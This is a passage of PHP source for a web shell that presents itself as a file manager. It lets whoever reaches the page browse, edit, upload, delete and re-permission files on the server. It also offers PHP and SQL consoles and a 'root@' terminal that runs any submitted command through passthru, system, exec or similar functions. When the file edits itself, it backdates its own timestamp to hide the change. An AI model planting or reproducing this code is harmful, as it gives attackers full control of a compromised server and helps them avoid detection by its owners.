oLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
